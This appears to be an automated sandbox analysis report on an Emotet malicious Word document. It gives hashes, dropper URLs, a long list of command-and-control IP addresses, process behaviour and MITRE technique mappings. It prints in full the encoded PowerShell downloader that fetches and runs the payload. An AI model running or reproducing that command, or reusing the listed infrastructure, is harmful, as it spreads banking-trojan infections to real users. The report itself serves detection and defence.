emotet | 12e589c0bbe01dcb772c25535f983687a52bc64a253a2aff5e6a1b79e69eb188

Analysis

max time kernel
135s
max time network
139s
platform
windows10_x64
resource
win10
submitted
19/08/2020, 20:58

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General

Target
emotet_e3_12e589c0bbe01dcb772c25535f983687a52bc64a253a2aff5e6a1b79e69eb188_2020-08-19__205659._doc.doc
Size 193KB
Sample200819-6evcm7q416
SHA256 12e589c0bbe01dcb772c25535f983687a52bc64a253a2aff5e6a1b79e69eb188
MD5 b458f0e71dd9007a53894860bfb1824a
SHA1 c6f023b7d8b95e541e05e1e73c8b9a08a26ef9e5
SHA512 a2f49de06101228ecbda79b87920c939366b7eb7b1b584b718ee2d296e943fadd5ff71200d99fcf53d1de7ca5d5f2be0509ff47c6432475110ef62878247f7f4
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://cabanashuasca.com/sys-cache/qkmAGt/
exe.dropper
http://serviceforlongi.com/wp-admin/1zn0p6648274/
exe.dropper
https://brightmega.com/cache/tAhJ/
exe.dropper
http://cabral.adv.br/css/wsF/
exe.dropper
http://www.duhallow.com/wp-content/yvu1atyip7814/
exe.dropper
http://www.emmashop.sk/sitemap/f00nsf09254466/
exe.dropper
http://flabbergast.dk/blogs/jdu6dq57246773/

Extracted

Family

emotet

173.94.215.84:80
85.25.207.108:8080
178.128.14.92:8080
60.125.114.64:443
181.126.54.234:80
157.7.164.178:8081
95.216.205.155:8080
216.75.37.196:8080
179.62.238.49:80
71.57.180.213:80
172.96.190.154:8080
112.78.142.170:80
178.238.232.46:443
177.144.130.105:443
105.209.235.113:8080
46.105.131.68:8080
185.86.148.68:443
143.95.101.72:8080
75.127.14.170:8080
168.0.97.6:80
181.114.114.203:80
185.208.226.142:8080
201.235.10.215:80
177.32.8.85:80
37.46.129.215:8080
74.208.173.91:8080
190.212.140.6:80
202.5.47.71:80
41.185.29.128:8080
81.214.253.80:443
107.161.30.122:8080
46.32.229.152:8080
5.79.70.250:8080
115.79.195.246:80
113.161.148.81:80
179.5.118.12:80
178.33.167.120:8080
91.83.93.103:443
51.38.201.19:7080
185.142.236.163:443
118.70.15.19:8080
181.134.9.162:80
105.213.67.88:80
217.199.160.224:8080
192.210.217.94:8080
197.249.6.179:443
86.57.216.23:80
86.98.143.163:80
181.113.229.139:443
201.213.177.139:80
195.201.56.70:8080
172.105.78.244:8080
190.190.15.20:80
190.53.144.120:80
139.59.12.63:8080
87.106.231.60:8080
66.61.94.36:80
198.57.203.63:8080
177.37.81.212:443
192.241.220.183:8080
115.78.11.155:80
188.0.135.237:80
78.189.60.109:443
31.146.61.34:80
175.29.183.2:80
203.153.216.178:7080
181.137.229.1:80
188.251.213.180:443
177.94.227.143:80
192.163.221.191:8080
50.116.78.109:8080
197.221.158.162:80
139.99.157.213:8080
77.74.78.80:443
81.17.93.134:80
190.164.75.175:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3012	3760	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/892-17-0x0000000000610000-0x000000000061C000-memory.dmp	emotet
behavioral2/memory/892-17-0x0000000000610000-0x000000000061C000-memory.dmp	emotet
behavioral2/memory/1468-20-0x0000000002310000-0x000000000231C000-memory.dmp	emotet
behavioral2/memory/1468-20-0x0000000002310000-0x000000000231C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
10	3012	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
892	Pz6kc0.exe
1468	UIAutomationCore.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\efsext\UIAutomationCore.exe	Pz6kc0.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3904	WINWORD.EXE
3904	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3012	powersheLL.exe
3012	powersheLL.exe
3012	powersheLL.exe
1468	UIAutomationCore.exe
1468	UIAutomationCore.exe
1468	UIAutomationCore.exe
1468	UIAutomationCore.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3012	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3904	WINWORD.EXE
3904	WINWORD.EXE
3904	WINWORD.EXE
3904	WINWORD.EXE
3904	WINWORD.EXE
3904	WINWORD.EXE
3904	WINWORD.EXE
3904	WINWORD.EXE
3904	WINWORD.EXE
892	Pz6kc0.exe
892	Pz6kc0.exe
1468	UIAutomationCore.exe
1468	UIAutomationCore.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3012 wrote to memory of 892	3012	powersheLL.exe	74
PID 3012 wrote to memory of 892	3012	powersheLL.exe	74
PID 3012 wrote to memory of 892	3012	powersheLL.exe	74
PID 892 wrote to memory of 1468	892	Pz6kc0.exe	76
PID 892 wrote to memory of 1468	892	Pz6kc0.exe	76
PID 892 wrote to memory of 1468	892	Pz6kc0.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_12e589c0bbe01dcb772c25535f983687a52bc64a253a2aff5e6a1b79e69eb188_2020-08-19__205659._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3904

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABFAHIAcgAyADIAMwBrAD0AKAAnAEIAJwArACcANAAwADgAbAAnACsAJwBuADkAJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBuAFYAOgB0AEUAbQBwAFwAbwBGAGYASQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAFUAYABSAEkAYABUAFkAUAByAE8AVABgAE8AYwBPAGwAIgAgAD0AIAAoACcAdABsAHMAMQAnACsAJwAyACcAKwAnACwAIAB0ACcAKwAnAGwAJwArACcAcwAxADEALAAgAHQAJwArACcAbABzACcAKQA7ACQARwA3AHAAegBrAHQAZgAgAD0AIAAoACcAUAB6ADYAawBjACcAKwAnADAAJwApADsAJABXAGkAMAAxAHgANwBrAD0AKAAnAFoAaQBoAHAAagAzACcAKwAnAHYAJwApADsAJABNAHAAYgB2AGQAdAByAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwB1AGcAQwBPACcAKwAnAGYAZgBpACcAKwAnAGMAZQAyADAAJwArACcAMQA5ACcAKwAnAHUAZwBDACcAKQAgACAALQBjAHIAZQBwAGwAYQBjAEUAJwB1AGcAQwAnACwAWwBjAGgAYQByAF0AOQAyACkAKwAkAEcANwBwAHoAawB0AGYAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFMAZgB5AHQAbAB2AHYAPQAoACcAVwAwAGgAJwArACcAZAB2ACcAKwAnAHoANwAnACkAOwAkAE0AOABhAGwAegBkAHUAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4ARQBUAC4AVwBFAGIAYwBsAEkAZQBuAHQAOwAkAEsAegA3ADAAcwBsAF8APQAoACcAaAB0AHQAJwArACcAcAAnACsAJwA6AC8ALwBjAGEAYgAnACsAJwBhAG4AJwArACcAYQBzAGgAdQBhAHMAYwAnACsAJwBhAC4AJwArACcAYwBvAG0ALwBzAHkAJwArACcAcwAtAGMAJwArACcAYQAnACsAJwBjAGgAZQAvAHEAawBtAEEARwB0AC8AJwArACcAKgBoAHQAdABwADoALwAvAHMAZQByACcAKwAnAHYAaQBjAGUAZgBvAHIAbABvAG4AZwBpACcAKwAnAC4AYwAnACsAJwBvAG0ALwB3AHAAJwArACcALQBhAGQAbQBpAG4ALwAnACsAJwAxAHoAbgAwAHAANgA2ACcAKwAnADQAOAAyADcAJwArACcANAAvACoAaAAnACsAJwB0AHQAcAAnACsAJwBzADoAJwArACcALwAvAGIAJwArACcAcgBpACcAKwAnAGcAaAB0AG0AZQBnAGEALgBjAG8AbQAvAGMAYQAnACsAJwBjAGgAZQAvAHQAQQBoACcAKwAnAEoALwAqAGgAdAB0AHAAOgAnACsAJwAvACcAKwAnAC8AYwAnACsAJwBhAGIAcgBhAGwAJwArACcALgBhAGQAJwArACcAdgAuAGIAcgAvAGMAcwBzAC8AdwBzAEYALwAqAGgAdAAnACsAJwB0AHAAOgAvAC8AdwB3AHcALgBkAHUAaAAnACsAJwBhAGwAbAAnACsAJwBvAHcAJwArACcALgBjAG8AbQAvAHcAJwArACcAcAAtAGMAbwAnACsAJwBuACcAKwAnAHQAZQBuAHQALwB5AHYAJwArACcAdQAxAGEAdAAnACsAJwB5ACcAKwAnAGkAcAA3ADgAMQA0AC8AKgBoACcAKwAnAHQAdABwADoALwAvAHcAdwB3AC4AZQBtAG0AJwArACcAYQBzAGgAbwBwAC4AJwArACcAcwBrACcAKwAnAC8AcwBpAHQAZQBtAGEAcAAvAGYAMAAwAG4AJwArACcAcwBmADAAOQAyACcAKwAnADUANAA0ADYANgAvACoAJwArACcAaAB0ACcAKwAnAHQAcAA6ACcAKwAnAC8ALwAnACsAJwBmAGwAYQAnACsAJwBiAGIAZQByAGcAJwArACcAYQAnACsAJwBzACcAKwAnAHQAJwArACcALgBkACcAKwAnAGsAJwArACcALwBiAGwAJwArACcAbwBnAHMALwBqACcAKwAnAGQAdQA2AGQAcQA1ADcAMgA0ADYAJwArACcANwAnACsAJwA3ADMALwAnACkALgAiAHMAUABsAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARgBlAHcAdAA0AGMAeAA9ACgAJwBVADEAJwArACcAMAB6AGUAOQAnACsAJwB5ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE4AbgB3AHcAMgBqAGwAIABpAG4AIAAkAEsAegA3ADAAcwBsAF8AKQB7AHQAcgB5AHsAJABNADgAYQBsAHoAZAB1AC4AIgBkAE8AdwBuAEwAYABvAGEAZABgAEYASQBMAEUAIgAoACQATgBuAHcAdwAyAGoAbAAsACAAJABNAHAAYgB2AGQAdAByACkAOwAkAEEAZgBmAGUAcABwAGIAPQAoACcAUQBuADYAeQAnACsAJwB6AGcAcwAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQATQBwAGIAdgBkAHQAcgApAC4AIgBsAEUAYABOAGcAVABoACIAIAAtAGcAZQAgADIANgAxADgAMAApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACgAJABNAHAAYgB2AGQAdAByACkAOwAkAFcAaABmAGcAYgAzAHgAPQAoACcARQAyAHcAdwAnACsAJwA3ACcAKwAnAHMAOQAnACkAOwBiAHIAZQBhAGsAOwAkAFQAYwBxAHQAMgA5ADQAPQAoACcASAA3AHAAaABfACcAKwAnADUAdgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAbQBqADIAdABrAF8APQAoACcATgAnACsAJwB4AGoAeQAnACsAJwBxAHoAMgAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3012
- C:\Users\Admin\AppData\Local\Temp\Office2019\Pz6kc0.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Pz6kc0.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:892
- - C:\Windows\SysWOW64\efsext\UIAutomationCore.exe
    "C:\Windows\SysWOW64\efsext\UIAutomationCore.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1468

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/892-17-0x0000000000610000-0x000000000061C000-memory.dmp

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memory/1468-20-0x0000000002310000-0x000000000231C000-memory.dmp

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memory/3012-11-0x00007FFA14470000-0x00007FFA14E5C000-memory.dmp

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memory/3012-13-0x0000022EBAB00000-0x0000022EBAB01000-memory.dmp

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memory/3012-12-0x0000022EA23D0000-0x0000022EA23D1000-memory.dmp

Download

memory/3904-5-0x000001BB8BC2B000-0x000001BB8BC3A000-memory.dmp

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memory/3904-10-0x000001BB8E060000-0x000001BB8E06C000-memory.dmp

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memory/3904-9-0x000001BB8E060000-0x000001BB8E06C000-memory.dmp

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memory/3904-8-0x000001BB8E060000-0x000001BB8E06C000-memory.dmp

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memory/3904-7-0x000001BB8E060000-0x000001BB8E06C000-memory.dmp

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memory/3904-6-0x000001BB8E060000-0x000001BB8E06C000-memory.dmp

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memory/3904-0-0x00007FFA1C590000-0x00007FFA1CC56000-memory.dmp

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memory/3904-4-0x000001BB8DF6F000-0x000001BB8DF80000-memory.dmp

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memory/3904-3-0x000001BB8DF6F000-0x000001BB8DF80000-memory.dmp

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memory/3904-2-0x000001BB8DF6F000-0x000001BB8DF80000-memory.dmp

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memory/3904-1-0x000001BB8DF6F000-0x000001BB8DF80000-memory.dmp

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